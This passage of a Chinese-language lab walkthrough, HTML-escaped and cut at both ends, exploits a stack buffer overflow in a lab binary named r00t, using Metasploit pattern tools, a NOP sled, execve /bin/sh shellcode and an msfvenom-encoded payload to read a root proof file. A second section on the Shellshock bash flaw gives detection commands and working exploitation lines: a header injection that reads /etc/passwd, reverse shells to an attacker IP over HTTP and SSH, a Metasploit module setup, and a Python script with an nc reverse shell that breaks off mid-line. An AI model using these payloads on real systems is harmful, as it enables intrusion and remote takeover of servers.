6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;用以上命令生成偏移较大的值，然后复制到gdb里面run。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250520112850948" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520112850948.png"&gt;&lt;/p&gt;
&lt;p&gt;找到溢出位置&lt;code&gt;0x6a413969&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cp /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb ./
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;./pattern_offset.rb -q 6a413969 -l &lt;span class="m"&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250520113208454" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520113208454.png"&gt;&lt;/p&gt;
&lt;p&gt;得知偏移量是&lt;code&gt;268&lt;/code&gt;，以下的door2不是door3，door2要输入一个参数来做偏移量。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;r &lt;span class="k"&gt;$(&lt;/span&gt;python -c &lt;span class="s1"&gt;&amp;#39;print (&amp;#34;A&amp;#34;*268 + &amp;#34;B&amp;#34;*4)&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;info r
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250520113411228" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520113411228.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;r &lt;span class="k"&gt;$(&lt;/span&gt;python -c &lt;span class="s1"&gt;&amp;#39;print (&amp;#34;A&amp;#34;*268 + &amp;#34;B&amp;#34;*4+&amp;#34;C&amp;#34;*20)&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250520115232872" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520115232872.png"&gt;&lt;/p&gt;
&lt;p&gt;到网页https://shell-storm.org/shellcode/index.html 上找&lt;code&gt;execve /bin/sh&lt;/code&gt;找到对应版本的payload：https://shell-storm.org/shellcode/files/shellcode-827.html&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250520115207201" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520115207201.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;*****************************************************
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;* Linux/x86 execve /bin/sh shellcode 23 bytes *
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;*****************************************************
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;*	 	 Author: Hamza Megahed		 *
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;*****************************************************
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;* Twitter: @Hamza_Mega *
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;*****************************************************
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;* blog: hamza-mega[dot]blogspot[dot]com *
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;*****************************************************
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;* E-mail: hamza[dot]megahed[at]gmail[dot]com *
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;*****************************************************
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;xor %eax,%eax
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;push %eax
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;push $0x68732f2f
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;push $0x6e69622f
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;mov %esp,%ebx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;push %eax
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;push %ebx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;mov %esp,%ecx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;mov $0xb,%al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;int $0x80
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;********************************
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;#include &amp;lt;stdio.h&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;#include &amp;lt;string.h&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;char *shellcode = &amp;#34;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &amp;#34;\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;int main(void)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;fprintf(stdout,&amp;#34;Length: %d\n&amp;#34;,strlen(shellcode));
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;(*(void(*)()) shellcode)();
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;return 0;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;所以，构造payload为&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./r00t &lt;span class="k"&gt;$(&lt;/span&gt;python -c &lt;span class="s1"&gt;&amp;#39;print &amp;#34;A&amp;#34;* 268 + &amp;#34;\x80\xfb\xff\xbf&amp;#34; + &amp;#34;\x90&amp;#34; *20 + &amp;#34;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /root/Proof.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250520113913501" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520113913501.png"&gt;&lt;/p&gt;
&lt;p&gt;搞错了，应该是door2不是door3。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250520114611295" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520114611295.png"&gt;&lt;/p&gt;
&lt;h4 id="方法二检查坏字符"&gt;方法二：检查坏字符
&lt;/h4&gt;&lt;p&gt;在gdb中调试&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;r &lt;span class="k"&gt;$(&lt;/span&gt;python -c &lt;span class="s1"&gt;&amp;#39;print(&amp;#34;A&amp;#34;*268 + &amp;#34;B&amp;#34;*4 + &amp;#34;\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&amp;#34;)&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;x/256x &lt;span class="nv"&gt;$esp&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;x/256b &lt;span class="nv"&gt;$esp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;\x00&lt;/code&gt;本身就是坏字符，&lt;code&gt;\x09&lt;/code&gt; &lt;code&gt;\x0a&lt;/code&gt; &lt;code&gt;\x20&lt;/code&gt;这三个逐个去掉后找出，完全去掉后就连续了，就没有坏点了，说明坏字符为：&lt;code&gt;x00\x0a\x09\x20&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250520141814830" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520141814830.png"&gt;&lt;/p&gt;
&lt;p&gt;用坏字符生成payload，然后用命令加载即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;msfvenom -a x86 -p linux/x86/exec &lt;span class="nv"&gt;CMD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/bin/sh -b &lt;span class="s1"&gt;&amp;#39;\x00\x09\x0a\x20&amp;#39;&lt;/span&gt; -e x86/shikata_ga_nai -fc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;./r00t &lt;span class="k"&gt;$(&lt;/span&gt;python -c &lt;span class="s1"&gt;&amp;#39;print (&amp;#34;A&amp;#34;*268 + &amp;#34;\x80\xfb\xff\xbf&amp;#34; + &amp;#34;\x90&amp;#34;*20 + &amp;#34;\xba\xa0\x03\xb5\x23\xda\xc8\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x0b\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x55\x69\xbe\x7b\x0c\x3c\xa6\x13\x03\xa2\xaf\x03\x33\x0b\xc3\xa3\xc3\x3b\x0c\x56\xaa\xd5\xdb\x75\x7e\xc2\xd4\x79\x7e\x12\xca\x1b\x17\x7c\x3b\xaf\x8f\x80\x14\x1c\xc6\x60\x57\x22&amp;#34;)&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250520140526527" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520140526527.png"&gt;&lt;/p&gt;
&lt;p&gt;这个靶场开始有难度了，涉及到一些内存的知识点。我对这部分知识也不太了解，很多不会的地方我询问了AI，安全学习是一个庞杂的方向，需要触类旁通。&lt;/p&gt;
&lt;h2 id="补充知识点cve-2014-6271-shellshock-漏洞"&gt;补充知识点：CVE-2014-6271 （&lt;strong&gt;Shellshock&lt;/strong&gt; 漏洞）
&lt;/h2&gt;&lt;h3 id="漏洞原理"&gt;&lt;strong&gt;漏洞原理&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;根本原因&lt;/strong&gt;：Bash 在处理环境变量时，未正确验证以 &lt;code&gt;() {&lt;/code&gt; 开头的函数定义字符串，导致后续命令被意外执行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;影响范围&lt;/strong&gt;：Bash 版本 1.14 ~ 4.3（2014年9月前的版本）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;典型场景&lt;/strong&gt;：Web服务器（如Apache CGI）、DHCP客户端、SSH守护进程等通过环境变量调用Bash的场景。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="漏洞检测"&gt;&lt;strong&gt;漏洞检测&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="方法-1本地检测"&gt;方法 1：本地检测
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;env &lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { :;}; echo VULNERABLE&amp;#39;&lt;/span&gt; bash -c &lt;span class="s2"&gt;&amp;#34;echo Testing&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;安全输出&lt;/strong&gt;：无反应或报错。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;存在漏洞&lt;/strong&gt;：输出 &lt;code&gt;VULNERABLE&lt;/code&gt; 和 &lt;code&gt;Testing&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="方法-2远程检测针对web-cgi"&gt;方法 2：远程检测（针对Web CGI）
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl -A &lt;span class="s2"&gt;&amp;#34;() { :;}; echo VULNERABLE&amp;#34;&lt;/span&gt; http://target/cgi-bin/test.cgi
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;若返回 &lt;code&gt;VULNERABLE&lt;/code&gt;，则存在漏洞。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="漏洞利用方法"&gt;&lt;strong&gt;漏洞利用方法&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="场景-1通过http请求apache-cgi"&gt;&lt;strong&gt;场景 1：通过HTTP请求（Apache CGI）&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;假设目标服务器存在 &lt;code&gt;/cgi-bin/status.cgi&lt;/code&gt;（或其他CGI脚本）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;执行任意命令&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl -H &lt;span class="s2"&gt;&amp;#34;User-Agent: () { :;}; /bin/bash -c &amp;#39;cat /etc/passwd&amp;#39;&amp;#34;&lt;/span&gt; http://target/cgi-bin/status.cgi
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;通过修改 &lt;code&gt;User-Agent&lt;/code&gt;、&lt;code&gt;Cookie&lt;/code&gt; 或 &lt;code&gt;Referer&lt;/code&gt; 头注入命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;反弹Shell&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl -H &lt;span class="s2"&gt;&amp;#34;User-Agent: () { :;}; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/攻击者IP/4444 0&amp;gt;&amp;amp;1&amp;#34;&lt;/span&gt; http://target/cgi-bin/status.cgi
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;在攻击机监听端口：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvnp &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="场景-2dhcp客户端攻击"&gt;&lt;strong&gt;场景 2：DHCP客户端攻击&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;如果目标作为DHCP客户端且使用受漏洞影响的Bash：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击者可伪造DHCP服务器，在分配IP时注入恶意环境变量。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="场景-3ssh强制命令"&gt;&lt;strong&gt;场景 3：SSH强制命令&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;若目标允许通过SSH公钥认证并配置了强制命令（如 &lt;code&gt;command=&amp;quot;example&amp;quot;&lt;/code&gt;）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -i id_rsa user@target &lt;span class="s1"&gt;&amp;#39;() { :;}; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/攻击者IP/4444 0&amp;gt;&amp;amp;1&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="自动化利用工具"&gt;&lt;strong&gt;自动化利用工具&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-metasploit"&gt;1. &lt;strong&gt;Metasploit&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;msf6 &amp;gt; use exploit/multi/http/apache_mod_cgi_bash_env
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;msf6 &amp;gt; &lt;span class="nb"&gt;set&lt;/span&gt; RHOSTS &amp;lt;目标IP&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;msf6 &amp;gt; &lt;span class="nb"&gt;set&lt;/span&gt; TARGETURI /cgi-bin/status.cgi
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;msf6 &amp;gt; &lt;span class="nb"&gt;set&lt;/span&gt; PAYLOAD linux/x86/shell/reverse_tcp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;msf6 &amp;gt; &lt;span class="nb"&gt;set&lt;/span&gt; LHOST &amp;lt;攻击者IP&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;msf6 &amp;gt; exploit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="2-python-exp脚本"&gt;2. &lt;strong&gt;Python EXP脚本&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;http://target/cgi-bin/status.cgi&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;User-Agent&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;() { :;}; /bin/bash -c &amp;#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 攻击者IP 4444 &amp;gt;/tmp/f&amp;#39;&amp;#34;&lt;/span&gt;
